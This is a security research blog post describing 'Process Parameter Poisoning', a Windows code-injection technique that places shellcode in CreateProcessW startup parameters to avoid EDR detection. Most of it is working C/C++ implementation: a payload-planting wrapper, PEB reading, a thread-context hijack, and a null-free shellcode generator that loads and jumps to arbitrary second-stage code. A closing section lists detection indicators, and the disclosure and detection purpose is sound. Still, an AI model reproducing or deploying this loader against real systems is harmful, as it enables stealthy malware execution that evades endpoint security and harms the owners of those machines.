Process Parameter Poisoning

Introduction

Authors: Max Hirschberger & Ogulcan Ugur

Process Parameter Poisoning (P³) is an attack technique we developed that is used to inject code in foreign processes, without triggering typical detection mechanisms.

Its ability to fly under the radar has been tested against four market leading Endpoint Detection and Response (EDR) solutions. Code injection succeeded in all cases and no alerts were created, even though the EDRs were configured to detect, block and remediate.

Our implementation of the technique is published on GitHub: https://github.com/Orange-Cyberdefense/p3-loader

After publication, X-C3LL showed the same primitive was previously presented by modexp in a now deleted post.

Typical Process Injection and Involved System APIs

Attackers want to make their activities look less suspicious. With process injection, attackers are able to perform their activities from a different process that is more trusted or expected to be performing the specific activity, thus lowering suspicion.

The following are typical steps for injecting code into another process:

1. The attacker searches for and opens a target process or starts a new process (via OpenProcess / NtOpenProcess or CreateProcess / NtCreateProcess).
2. Memory for the malicious code is allocated in the target process (via VirtualAllocEx or NtAllocateVirtualMemory).
3. The malicious code is written to the new allocation (via WriteProcessMemory / NtWriteVirtualMemory).
4. Memory access protection is configured to allow executing the malicious code (via VirtualProtectEx / NtProtectVirtualMemory).
5. A new thread is started in the target process that runs the malicious code (via CreateRemoteThread / NtCreateThreadEx).

Further injection techniques include but are not limited to the following:

• Thread Hijacking: Instead of creating a new thread, an existing one is redirected (via NtSetContextThread)
• Early-Bird APC-Injection: Utilises Asynchronous Procedure Calls (APCs) to redirect the execution of an existing thread (via NtQueueApcThread)
• Dirty Vanity: Abuses the Windows API RtlCreateProcessReflection, that implements process forking.

In our testing, we observed that most EDRs focus on specific telemetry to detect process injection. EDRs primarily monitor the usage of WriteProcessMemory and VirtualAllocEx, as well as their underlying kernel system calls NtWriteVirtualMemory, NtAllocateVirtualMemory and NtAllocateVirtualMemoryEx.

Based on this observation, we asked ourselves the following question: How can malicious code be transferred into a target process and made executable without using WriteProcessMemory and VirtualAllocEx? The answer to this question lies in the process startup parameters that are transferred from one process to another at any new process creation. By using these to transfer malicious code, both WriteProcessMemory and VirtualAllocEx are avoided entirely, raising less suspicion.

Technical Foundation of Required Windows Internals

Process Creation API and Startup Paramters

Windows provides the API function CreateProcessW for creating new processes, shown in Listing 1. The first three of its parameters lpCommandLine, lpEnvironment and lpStartupInfo are relevant for the described injection technique, since they are used to transfer data to the new process.

BOOL CreateProcessW(
  [in, optional] LPCWSTR     lpApplicationName,
  [in, out, optional] LPWSTR lpCommandLine,
  [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in] BOOL                   bInheritHandles,
  [in] DWORD                 dwCreationFlags,
  [in, optional] LPVOID      lpEnvironment,
  [in, optional] LPCWSTR     lpCurrentDirectory,
  [in] LPSTARTUPINFOW        lpStartupInfo,
  [out] LPPROCESS_INFORMATION lpProcessInformation
);

Listing 1: Definition of CreateProcessW Windows API Function

The lpCommandLine parameter specifies the command line for the new process. It is limited to a maximum of 32,767 unicode characters, including the unicode null-terminator. For the unicode variant, it is necessary to provide a string that the function can write to. If a constant string is supplied, any write attempts made by the API function result in a memory access violation. If the value is NULL, the processes command line will be taken from the lpApplicationName parameter. If lpApplicationName is NULL, it has to be provided in the lpCommandLine field and is limited to MAX_PATH characters.

The lpEnvironment parameter provides a list of environment variables to the process. If the value is NULL, the environment of the creating process will be used. The list of environment variables consists of successive null-terminated strings of the format NAME=VALUE with another null-terminator at the end.

The lpStartupInfo parameter has a structure shown in Listing 2 with fields such as window station, desktop, standard input and output handles as well as fields that configure the main window of the new process. According to Microsoft documentation, the field lpReserved is reserved for internal use with no further documentation. Through analysis with the WinDbg debugger, it was possible to relate this parameter to the ShellInfo variable of the type UNICODE_STRING in the new process.

typedef struct _STARTUPINFOW {
  DWORD cb;
  LPWSTR lpReserved; // Copied to ShellInfo
                     //   (UNICODE_STRING)
  LPWSTR lpDesktop;
  LPWSTR lpTitle;
  DWORD dwX;
  DWORD dwY;
  DWORD dwXSize;
  // (...) additional fields
  WORD wShowWindow;
  WORD cbReserved2;
  LPBYTE lpReserved2;
  HANDLE hStdInput;
  // (...) additional fields
} STARTUPINFOW, *LPSTARTUPINFOW;

Listing 2: Layout of STARTUPINFOW data structure

The Process Environment Block

At the creation of a new process, all supplied process parameters are written to the Process Environment Block (PEB). The PEB is a data structure that is present in all processes and unique to each process. The parameters can be accessed within the ProcessParameters member of the type RTL_USER_PROCESS_PARAMETERS. Besides the process parameters, this structure also includes further runtime information, such as a list of loaded modules. The structure of the PEB and relevant process parameters in the RTL_USER_PROCESS_PARAMETERS is shown in Listing 3 and Listing 4.

typedef struct _PEB
{
  BOOLEAN InheritedAddressSpace;
  BOOLEAN ReadImageFileExecOptions;
  BOOLEAN BeingDebugged;
  // (...) additional fields
  PVOID ImageBaseAddress;
  PPEB_LDR_DATA Ldr;
  PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // Poisonable
  PVOID SubSystemData;
  PVOID ProcessHeap;
  PRTL_CRITICAL_SECTION FastPebLock;
  // (...) additional fields
} PEB, *PPEB;

Listing 3: Layout of PEB data structure

typedef struct _RTL_USER_PROCESS_PARAMETERS
{
  ULONG MaximumLength;
  ULONG Length;
  ULONG Flags;
  ULONG DebugFlags;
  // (...) additional fields
  CURDIR CurrentDirectory;
  UNICODE_STRING DllPath; // Potential candidate
                          // for transfer
  UNICODE_STRING ImagePathName; // Potential
                                // candidate for
                                // transfer
  UNICODE_STRING CommandLine; // Primary
                              // candidate
                              // for transfer
  PVOID Environment; // Primary candidate for
                     // transfer
  // (...) additional fields
  UNICODE_STRING ShellInfo; // Primary candidate
                            // for transfer
                  // (lpReserved in STARTUPINFO)
  UNICODE_STRING RuntimeData; // Potential
                              // candidate
                              // for transfer
  // (...) additional fields
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

Listing 4: Layout of RTL_USER_PROCESS_PARAMETERS data structure

Figure 1 below shows the ShellInfo parameter with the poison value supplied in the lpReserved field for the STARTUPINFOW structure. Furthermore, Figure 2 shows the controlled command line within the System Informer tool.

Figure 1: Poisoned ShellInfo Parameter

Figure 2: Poisoned Command Line

Process Parameter Poisoning (P³)

Starting a Process with a Poisoned Parameter

Since there are multiple parameters that may be used to copy the malicious code, the wrapper function in Listing 5 below creates a process with the poison argument supplied to the chosen process parameter. Figure 3 demonstrates running the implemented injector, and choosing which parameter to poison. Furthermore, any value can be provided for the target application that will be used in lpApplication, with the user prompt shown in Figure 4.

BOOL CreateProcessWithPoison
    (int choice, PWCHAR lpApplication,
     PWCHAR poisonParameter,
     PPROCESS_INFORMATION pi)
{
  STARTUPINFOW si = { 0 };

  switch (choice) {
  case 1: // Injection via ShellInfo (lpReserved)
    printf("[~] Writing into ShellInfo...\n");
    si.lpReserved = poisonParameter;
    return CreateProcessW(lpApplication, NULL, 
                          NULL, NULL, FALSE, 0,
                          NULL, NULL, &si, pi);

  case 2: // Injection via Environment block
    printf("[~] Writing into Environment
            block...\n");
    return CreateProcessW(lpApplication, NULL, 
                          NULL, NULL, FALSE,
                     CREATE_UNICODE_ENVIRONMENT,
                          poisonParameter, NULL,
                          &si, pi);

  case 3: // Injection via CommandLine
    printf("[~] Writing into CommandLine...\n");
    return CreateProcessW(lpApplication,
                          poisonParameter,
                          NULL, NULL, FALSE, 0, 
                          NULL, NULL, &si, pi);

  default:
    return FALSE;
  }
}

Listing 5: Implementation of CreateProcessWithPoison

This function implements three distinct parameter choices:

1. ShellInfo Injection: Places the poison in the lpReserved field of the lpStartupInfo parameter that will be copied to the ShellInfo variable in the PEB
2. Environment Injection: Places the poison in the lpEnvironment parameter with the CREATE_UNICODE_ENVIRONMENT flag
3. CommandLine Injection: Places the poison in the lpCommandLine parameter of CreateProcessW

Figure 3: Selection of Poisonable Parameter

Figure 4: Selection of the Targeted Application Executable

Locating the Injected Data in the New Process

After successful process creation, the injected data can be found via the PEB structure. The following three steps are required to locate the poison in the new process.

First up, the starting address of the PEB structure is determined by calling NtQueryInformationProcess. NtQueryInformationProcess retrieves the data structure PROCESS_BASIC_INFORMATION when called with the information class ProcessBasicInformation. And within the structure PROCESS_BASIC_INFORMATION, the address of the PEB can be found in the PebBaseAddress field. This step is shown in Listing 6.

winapi.NtQueryInformationProcess(
  pi.hProcess, // Handle of the new process
  ProcessBasicInformation,
               // Query
               // PROCESS_BASIC_INFORMATION
  &pbi,        // Destination
  sizeof(pbi), // Size of the destination
  &retLen      // Resulting size of what was read
);

Listing 6: First Step of Locating the Injected Data

Next up, the PEB structure is read by calling NtReadVirtualMemoryEx with the starting address of the structure that was retrieved in the first step. The implementation of the second step is shown below in Listing 7.

PEB pebLocal = { 0 };
SIZE_T bytesRead;

NTSTATUS status = winapi.NtReadVirtualMemoryEx(
  pi.hProcess, // Handle of the new process
  pbi.PebBaseAddress, // PEB Starting address
  &pebLocal, // Destination / PEB local copy
  sizeof(pebLocal), // Size to be read
  &bytesRead, // Resulting size of what was read
  0           // Reserved parameter
);

Listing 7: Second Step of Locating the Injected Data

After reading the PEB, the field ProcessParameters contains the starting address of the RTL_USER_PROCESS_PARAMETERS structure in the new process. In the third step, this structure is also read from the new process. The pointers to the injected data are within this structure. The third step is shown below in Listing 8.

RTL_USER_PROCESS_PARAMETERS parameters = { 0 };

status = winapi.NtReadVirtualMemoryEx(
  pi.hProcess, // Handle of target process
  pebLocal.ProcessParameters,
               // ProcessParameters address
               // in target
  &parameters, // Output buffer / Local copy
  sizeof(parameters), // Size to be read
  &bytesRead, // Resulting size of what was read
  0           // Reserved parameter
);

Listing 8: Third Step of Locating the Injected Data

This approach only uses memory read APIs and no write or allocation API that the EDRs focus on. However, there is one limitation imposed by the parameters. Since these parameters are null-terminated strings, only shellcode with no null terminator can be fully transferred. A solution to overcome this limitation is given in Section Passing Arbitrary Shellcode in a String.

Executing the Injected Code

After transferring the code, the processes execution still needs to be directed to the code. Furthermore, the memory protection of the injected data has to be adjusted, since the parameters are not placed into regions that are marked executable.

To change the protection, the Windows API NtProtectVirtualMemory is used to change the protection from only readable and writable to only readable and executable.

To redirect the code execution to the shellcode, the following three methods exist:

• CreateRemoteThread / NtCreateThreadEx: Create a new thread that starts at the shellcode
• QueueUserAPC / NtQueueApcThread: Queue up an APC on an existing thread that ends up redirecting it to the shellcode
• Thread Context Manipulation: Modify the instruction pointer of an existing thread to move its execution to the shellcode

During the initial implementation of this technique, the Dirty Vanity approach was evaluated for executing the code. However, several EDRs raised alerts for this method.

A detailed look into the implementation of RtlCreateProcessReflection revealed that it calls NtWriteVirtualMemory and NtCreateThreadEx. Essentially, it creates a thread in a target process to execute a function within ntdll.dll. This function both creates the forked process by calling RtlCloneUserProcess and also performs a memory write into the forked process.

Since NtWriteVirtualMemory is one of the primary indicators used by the EDRs, the Dirty Vanity method only raises suspicion beyond whats necessary.

Instead, the manipulation of the main threads context is used, since it provides the following advantages over Dirty Vanity:

• Availability of Thread Handles: CreateProcessW already provides a valid handle for the main thread within the PROCESS_INFORMATION structure. A Handle is an abstract reference object that the kernel provides for interacting with system resources, such as processes, threads and files. Handles are essentially indices into process specific handle tables that map each handle to an object in the kernel with an associated level of access to the object.
• Avoiding Suspicious API Calls: NtWriteVirtualMemory, VirtualAllocEx and CreateRemoteThread are never used, only NtSetContextThread is called

The context of a thread is the state of all processor registers. Therefore it is possible to redirect a threads execution flow by manipulating its context, i.e. changing the instruction pointer register. Typically, the thread context is manipulated in the following steps:

1. Thread Suspension: The target thread is put into a suspended state either by calling SuspendThread or by creating it in a suspended state
2. Context Read: The current context is read into a CONTEXT data structure via GetThreadContext
3. Context Modify: Desired changes are made to the context, e.g. changing the instruction pointer register RIP
4. Context Apply: The modified context is written to the thread by calling SetThreadContext
5. Thread Resumption: ResumeThread is called to resume the threads execution at the new value of RIP

A thread’s context can be changed without suspending it first. Therefore, it is not necessary to call SuspendThread and ResumeThread which may be monitored by EDRs for process injection. Furthermore, calling GetThreadContext can also be skipped, if prior execution does not need to be restored at a later point. The resulting implementation is shown in Listing 9.

NTSTATUS ThreadSetExec
        (PHANDLE hThread, PVOID shellcode)
{
  CONTEXT ctx;
  ctx = { 0 };
  ctx.ContextFlags = CONTEXT_CONTROL;
              // CONTEXT_CONTROL flag is enough

  auto wapi = WinApiResolver::GetInstance();

  NTSTATUS stat = 0;

  stat = wapi.NtGetContextThread(*hThread, &ctx);
  if (!NT_SUCCESS(stat)) {
    SetColor(FOREGROUND_RED);
    printf("\n[-] NtGetContextThread failed with
            Error Code %08x\n", stat);
    return stat;
  }

  ctx.Rip = (DWORD64)shellcode;

  stat = wapi.NtSetContextThread(*hThread, &ctx);
  if (!NT_SUCCESS(stat)) {
    SetColor(FOREGROUND_RED);
    printf("\n[-] NtSetContextThread failed with
            Error Code %08x\n", stat);
    return stat;
  }

  return 0;
}

Listing 9: Manipulation of Thread Context in ThreadSetExec

Implemented Payload Injections

Our implementation of this injection technique includes the following four payload options shown in Figure 5.

1. The first option is a simple demo that displays a popup window and is shown in Figure 5. This option requires no further shellcode or executable files that will be injected.
2. Option two takes a hexadecimal representation of shellcode and injects it. If the shellcode contains null bytes, it is injected with the method described in the Section Passing Arbitrary Shellcode in a String.
3. The third option accepts a path to a DLL file that is then supplied to LoadLibraryA within the target.
4. Lastly, option four loads raw shellcode from a HTTP(S) URL and also takes care of the null byte limitation.

Figure 5: Choice of Injected Shellcode

Figure 6: Message Box Created by Shellcode

Passing Arbitrary Shellcode in a String

It is not possible to pass any arbitrary data within the parameters. This is because only data up until a null-terminator will be copied. To overcome this limitation, we have built a shellcode generator that doesn’t emit null-terminators.

This shellcode generator can create shellcode for calling MessageBoxA, LoadLibraryA, NtTerminateProcess or NtSuspendThread with arbitrary parameters. Furthermore, it can generate shellcode that decodes an arbitrary second stage shellcode and jump to it.

It is implemented in the ShellCodeWriter C++ class with private helper methods and public methods for the exposed functionality. The implementation details will be explained in the following.

Lower Level Helper Methods Used by the Shellcode Generator

Xor is used as the primitive that allows the shellcode to generate any data, including zero bytes. This primitive is implemented in the helper method SetRAXXOR that takes two 64 bit values. It emits shellcode that performs an xor operation with the given 64 bit values and saves the result in the RAX register.

The additional helper SetRAX creates these two 64 bit values, that when xor’ed result in a given value. It also ensures that these two 64 bit values contain no zero bytes. In essence, SetRAX emits shellcode that will set the RAX register to an arbitrary 64 bit value.

Both SetRAXXOR and SetRAX are shown in Listing 10. Additionally, the resulting machine code of three example SetRAX calls are shown in Listing 11.

void ShellCodeWriter::SetRAXXOR
    (uint64_t xor_a_value, uint64_t xor_b_value)
{
  const char gadget[] =
    "\x48\xB8\xB0\xC5\x2F\x6D\xFB\x7F\x01\x01"
    // mov rax, XOR_A
    "\x49\xBF\x01\x01\x01\x01\x01\x01\x01\x01"
    // mov r15, XOR_B
    "\x4C\x31\xF8"; // xor rax, r15
  uint64_t* xor_a = (uint64_t*)(gadget + 2);
  uint64_t* xor_b = (uint64_t*)(gadget + 12);
  *xor_a = xor_a_value;
  *xor_b = xor_b_value;
  AppendShellCode(gadget, 23);
}

void ShellCodeWriter::SetRAX(uint64_t value)
{
  if (value == 0)
  {
    AppendShellCode("\x48\x31\xC0", 3);
                    // xor rax, rax
    return;
  }
  uint64_t xor_a = 0, xor_b = 0x0101010101010101;
  // Adjust the xor key (xor_b) to ensure xor_a
  // will have no zero bytes
  for (int i = 0; i < 8; i++)
  {
    if (( (uint8_t*)(&value) )[i] == 0x01)
    {
      ( (uint8_t*)(&xor_b) )[i] = 0x02;
    }
  }
  xor_a = value ^ xor_b;
  SetRAXXOR(xor_a, xor_b);
}

Listing 10: Implementation of SetRAXXOR and SetRAX

# SetRAX(0)
xor rax, rax

# SetRAX(0xDEADBEEF)
mov rax, 0x01010101DFACBFEE
mov r15, 0x0101010101010101
xor rax, r15

# SetRAX(1)
mov rax, 0x0101010101010103
mov r15, 0x0101010101010102
xor rax, r15

Listing 11: Examples for Code Emitted by SetRAX

SetRAX is the basis for the helper methods PushValue, PushBuffer, SetArgRegister and SetArgRegisterStackRelative. PushValue calls SetRAX and follows it with a push RAX instruction that therefore allows pushing arbitrary values to the stack. PushBuffer uses PushValue to write an arbitrary array of bytes on the stack, for this it splits the data into 64 bit values and pushes them in reverse order. The order needs to be reversed, since the stack pointer is decremented after each push.

The shellcode generator keeps track of how many bytes were pushed with the m_total_consumed_stack_bytes variable. This variable is used in the FreeStack helper method to clean up the stack, reverting the stack pointer to its initial value.

In the Windows 64 bit x86 application binary interface, the registers RCX, RDX, R8 and R9 are used for the first four arguments when calling a function. Additional arguments are pushed on the stack, after a 32 byte shadow space. The shadow space is reserved for the called function and is used to save the first four argument registers. SetArgRegister and SetArgRegisterStackRelative are used to set one of these four argument registers. SetArgRegister sets a given register to an arbitrary constant value. And the code generated by SetArgRegisterStackRelative writes the stack pointer plus a constant offset to the corresponding argument register. Any additional function arguments can be pushed with the PushValue helper method.

The helper Call emits code that aligns the stack pointer to 16 bytes, then performs a call to the given address and lastly reverts any alignment change it initially made. A 16-byte aligned stack pointer is required to prevent crashing in functions that utilise XMM floating point register operations. When calling functions with arguments that are passed on the stack, the alignment needs to be correct before calling this helper. Otherwise, the arguments end up at the wrong stack offset.

Implementation of Higher Level Operations

The simplest operation is calling NtTerminateProcess or NtSuspendThread. Due to their similarity, only NtTerminateProcess will be covered, which is shown in Listing 12. NtTerminateProcess takes two parameters and follows the x64 calling convention. First, the helper SetArgRegister is called for both parameters, to initialise them with the supplied values. Then the API function is called.

Since the shellcode is generated on the same machine, the address of the function is resolved at the time of generation and not within the shellcode. Resolving API functions is handled by the WinApiResolver class. Finally, the Call helper method generates the call instruction and stack alignment code.

void ShellCodeWriter::CallTerminateProcess
    (HANDLE ProcessHandle, NTSTATUS ExitStatus)
{
  SetArgRegister(0, (uint64_t)ProcessHandle);
  SetArgRegister(1, ExitStatus);
  auto winapi = WinApiResolver::GetInstance();
  Call((uint64_t)winapi.NtTerminateProcess);
}

Listing 12: Implementation of ShellCodeWriter::CallTerminateProcess

Functions that take pointer values such as LoadLibraryA and MessageBoxA, can’t be used in the same way. This is because a valid memory address is required, but is not known at the time of generating the shellcode. Therefore the helper SetArgRegisterStackRelative is used to set the argument to an address on the stack. In Listing 13, the module parameter string is written to the stack and the first argument register is set to point to the start of the module string on the stack. Furthermore, the function moves the stack pointer by 32 bytes to account for the shadow space. Without this, the called function would overwrite the module string.

void ShellCodeWriter::CallLoadLibraryA(LPCSTR module)
{
  PushBuffer(module, strlen(module) + 1);
  int pos_buf = m_total_consumed_stack_bytes;

  // Shadow Space
  AppendShellCode("\x48\x83\xEC\x20", 4);
                  // sub rsp, 32
  m_total_consumed_stack_bytes += 32;

  // Populate arg registers
  SetArgRegisterStackRelative(0,
    (m_total_consumed_stack_bytes - pos_buf));

  auto winapi = WinApiResolver::GetInstance();
  Call((uint64_t)winapi.LoadLibraryA);
}

Listing 13: Implementation of ShellCodeWriter::CallLoadLibraryA

Finally, LoadAndCallShellCode takes an arbitrary shellcode that can include zero bytes and executes it. Its implementation is shown in Listing 14 and is split into the following five operations:

1. The arbitrary shellcode is written to the stack via PushBuffer. Afterwards, the shadow space is allocated to protect the shellcode from being overwritten.
2. Next up, a simple call to VirtualAlloc is made that uses parameters already known at the time of generation. This API call allocates memory that is readwrite protected and can fit the shellcode.
3. Afterwards, the memory address returned from VirtualAlloc is saved into the two registers R12 and R10. Then R11 is initialised to the size of the shellcode and RCX is set to point to the start of the shellcode. With the registers R10, R11 and RCX set, six instructions follow that perform a memory copy, copying the shellcode into the newly allocated memory region.
4. Jumping to the shellcode is not yet possible, since the memory region is readwrite protected. It is possible to allocate a readwrite and executable region, this would be more likely considered suspicious. Therefore, a call to VirtualProtect is made to change the protection to readable and executable but not writable.
5. And lastly, a jump to the shellcode is made, after ensuring the stack is properly aligned.

void ShellCodeWriter::LoadAndCallShellCode
    (const std::vector<uint8_t>& shellcode)
{
  // 1. Pushes the shellcode to the stack
  PushBuffer(shellcode.data(), shellcode.size());
  int pos_sc = m_total_consumed_stack_bytes;

  // Shadow Space
  AppendShellCode("\x48\x83\xEC\x20", 4);
                // sub rsp, 32
  m_total_consumed_stack_bytes += 32;

  // 2. Allocates READWRITE memory
  CallVirtualAlloc(NULL, shellcode.size(),
                   MEM_COMMIT, PAGE_READWRITE);

  { // 3. Copies shellcode from the stack to the
    //    newly allocated area
    AppendShellCode("\x49\x89\xC4", 3);
              // mov r12, rax ; shellcode_dest
    AppendShellCode("\x49\x89\xC2", 3);
              // mov r10, rax ; shellcode_dest
    SetRAX(shellcode.size());
    AppendShellCode("\x49\x89\xC3", 3);
                    // mov r11, rax ; size
    SetArgRegisterStackRelative(0,
       (m_total_consumed_stack_bytes - pos_sc));
    // r10: Shellcode dest ptr
    // r11: size
    // rcx: Shellcode src ptr
    const char* copy_sc = \
      "\x8A\x01"     // mov al, byte ptr ds:[rcx]
      "\x41\x88\x02" // mov byte ptr ds:[r10], al
      "\x48\xff\xc1" // inc rcx
      "\x49\xff\xc2" // inc r10
      "\x49\xff\xcb" // dec r11
      "\x75\xf0"; // jnz -16
    AppendShellCode(copy_sc, 16);
}

  { // 4. Changes protection of the newly
    //    allocated area to EXECUTE_READ
    // VirtualProtect(shellcode_dest, size,
                      PAGE_EXECUTE_READ,
                      shellcode_src);
    AppendShellCode("\x4C\x89\xE1", 3);
                    // mov rcx, r12 ; lpAddress
    SetArgRegister(1, shellcode.size());
    SetArgRegister(2, PAGE_EXECUTE_READ);
                   // flNewProtect
    SetArgRegisterStackRelative(3,
       (m_total_consumed_stack_bytes - pos_sc));
    auto winapi = WinApiResolver::GetInstance();
    Call((uint64_t)winapi.VirtualProtect);
  }

  if (m_total_consumed_stack_bytes % 16)
  {
    AppendShellCode("\x58\x50\x50", 3);
                // pop rax; push rax; push rax;
    m_total_consumed_stack_bytes += 8;
  }

  // 5. Jumps to the newly allocated area
  AppendShellCode("\x41\xff\xe4", 3); // jmp r12
}

Listing 14: Implementation of ShellCodeWriter::LoadAndCallShellCode

Advantages of Detection Avoidance by this Technique

One major advantage of this technique is that no processes are created in a suspended state and no threads or processes are suspended during its execution. Creating suspended processes or repeated calls to SuspendThread are known indicators used by EDRs for detecting process hollowing, process injection and similar attacks.

Furthermore, by creating the target process, a handle for the main thread is already available and has the required access for changing its context.

Aspect	Classic Injection	Process Parameter Poisoning
Memory Allocation	VirtualAllocEx required	No explicit allocation
Memory Write	WriteProcessMemory required	Indirect via CreateProcessW
Redirect Execution	CreateRemoteThread or APC	SetThreadContext
Chance of Detection	High (many suspicious APIs)	Reduced (benign process creation)
EDR Telemetry	Closely monitored	Lowered observability

Overall, this technique raises much less suspicion as it leaves a smaller fingerprint by using legitimate process creation and thread management APIs.

Detection Approach

There are several suspicious indicators generated by this technique, that can be used to detect it.

• VirtualProtectEx that makes a memory region executable followed by SetThreadContext with at least CONTEXT_CONTROL. It is worth noting, that the instruction pointer does not need to be pointing to this executable region, since it can instead point to a gadget that then redirects it. However, it is very likely that a pointer into the memory region is written to one of the CPU registers.
• VirtualProtectEx that makes pages of the process parameters executable, both in the own process and in external processes.
• Creation of a process, where one of the three abused parameters raise suspicion. For example, if the entropy of the command line is close to the entropy of shellcode or far from the entropy of a normal command line value. Additionally, the length of the supplied parameter is excessive or many unusual characters will be present in it. However, solely relying on this is likely prone to false positives.
• Reading of a remote processes process parameters structure that the PEB has a pointer to.

Conclusion

In summary, attackers can bypass modern security solutions through new ideas and small modifications, either by developing new techniques or by reapplying old techniques in novel ways. In our case, we were once again able to evade 4 of the top-tier EDR solutions. Therefore it is important to continuously develop new detection rules and not solely rely on an existing solution. Thanks to the wide range of indicators covered by our services, we can reliably detect such techniques before they can cause further damage.